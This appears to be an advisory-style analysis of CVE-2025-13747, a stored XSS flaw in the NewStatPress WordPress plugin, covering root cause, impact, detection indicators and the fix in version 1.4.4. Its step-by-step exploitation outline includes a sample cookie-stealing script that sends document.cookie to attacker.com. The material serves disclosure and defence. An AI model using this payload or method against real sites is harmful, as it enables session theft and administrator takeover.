CVE-2025-13747: 
WordPress vulnerability analysis and mitigation

CVE-2025-13747 is a Stored Cross-Site Scripting (XSS) vulnerability in the NewStatPress plugin for WordPress, affecting all versions up to and including 1.4.3. The flaw exists in the nsp_shortcode function, where a regex bypass allows authenticated attackers with contributor-level access or above to inject arbitrary web scripts into pages. Injected scripts execute automatically whenever any user visits the affected page. It was published on December 12, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from insufficient input sanitization and output escaping on user-supplied attributes within the nsp_shortcode function (line 637 of includes/nsp-core.php) (Wordfence, WordPress Trac). The plugin's input validation relies on a regex pattern that can be bypassed, allowing malicious shortcode attributes to pass through unsanitized. The attack vector is network-based, requires low privileges (contributor role), and does not require user interaction beyond a victim visiting the injected page. The scope is changed, meaning the injected script executes in the context of other users' browsers.

Successful exploitation allows an authenticated contributor to persistently inject malicious JavaScript into WordPress pages, which then executes in the browsers of all subsequent visitors — including administrators. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further compromise of site administrator accounts, potentially enabling full site takeover. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact (Wordfence).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the available data. The vulnerability requires at minimum a contributor-level WordPress account, limiting opportunistic exploitation but making it relevant in multi-author or open-registration WordPress environments. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Obtain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on a site running NewStatPress ≤ 1.4.3.
2. Craft a malicious shortcode: Create or edit a post/page using the NewStatPress shortcode (e.g., [nsp_shortcode ...]) and supply a crafted attribute value that bypasses the plugin's regex-based input validation, embedding a JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
3. Publish the content: Submit the post or page for publication (or save as pending review). The malicious shortcode attribute is stored in the WordPress database without proper sanitization.
4. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the plugin renders the unsanitized attribute into the HTML output, causing the injected script to execute in the visitor's browser.
5. Harvest results: Collect stolen session cookies, credentials, or other data exfiltrated to the attacker-controlled server, potentially using them to escalate privileges to site administrator (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing unusual shortcode attributes with encoded script tags or event handlers from contributor-level accounts.
• Database: WordPress wp_posts table entries containing [nsp_shortcode shortcodes with attributes including <script>, javascript:, onerror=, onload=, or other XSS payloads.
• Network: Outbound requests from victim browsers to unexpected external domains shortly after visiting pages containing NewStatPress shortcodes (indicative of data exfiltration).
• File System: No direct file system artifacts expected for this stored XSS; however, review plugin files at wp-content/plugins/newstatpress/includes/nsp-core.php for unauthorized modifications.

Update the NewStatPress plugin to version 1.4.4 or later, which contains the fix for this vulnerability (Wordfence). As a workaround prior to patching, restrict contributor-level user registration and audit existing contributor accounts for suspicious content. Site administrators should also review published posts and pages for unexpected shortcode attributes containing script content. A Web Application Firewall (WAF) with XSS filtering rules can provide additional mitigation while patching is pending.

Wordfence, which assigned and disclosed this CVE, included it in their weekly WordPress vulnerability report for December 8–14, 2025, highlighting it as part of a broader set of plugin vulnerabilities discovered that week (Wordfence Blog). No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified.